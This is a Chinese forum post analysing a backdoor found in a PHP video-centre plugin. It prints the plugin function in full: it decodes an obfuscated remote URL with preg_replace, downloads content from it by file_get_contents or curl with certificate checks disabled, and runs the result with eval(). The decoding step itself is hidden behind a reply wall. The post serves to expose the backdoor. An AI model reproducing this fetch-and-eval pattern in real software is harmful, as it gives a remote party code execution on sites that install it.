民审-M

使用php正则httpABc模糊调用远端链接的preg_replace转化解码方法

作者:民审-M   发布时间:2018-12-06 15:06   回复数:0   浏览数:50
民审-M
500民审-M金牌草根
2018-12-06 15:06:17
500 2018-12-06 15:06:17
我们以[西风]视频中心插件为例:
路径:\jameson_sp\function\function_jamesonsp.php
其中:
function z_jameson_sp() {
   $lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';
   $svip= preg_replace(array(\"/`.*?`/\",\"/abc/i\",\"/[A-Z_].*[A-Z_]/\"),array(\".\",\"://\",\"/\"),$lover);
   if(function_exists('file_get_contents'))
           {
          $data = file_get_contents($svip);
           } elseif (function_exists('curl_init')) {
              $ch = curl_init();
             $timeout = 5;
              curl_setopt($ch, CURLOPT_URL,$svip);
              curl_setopt($ch, CURLOPT_HEADER,0);
              curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
              curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
              curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
              curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
                 $data = curl_exec($ch);
                     curl_close($ch);
               }
                       return $data;
               }
       if(function_exists('curl_init')||function_exists('file_get_contents'))eval(z_jameson_sp());我们看到,

$lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';使用正在进行了调用远端链接进行了地址模糊处理,
我们可以使用以下方法解码出来:
本部分内容设定了隐藏,需要回复后才能看到

游客
登录后才可以回帖,登录 或者 注册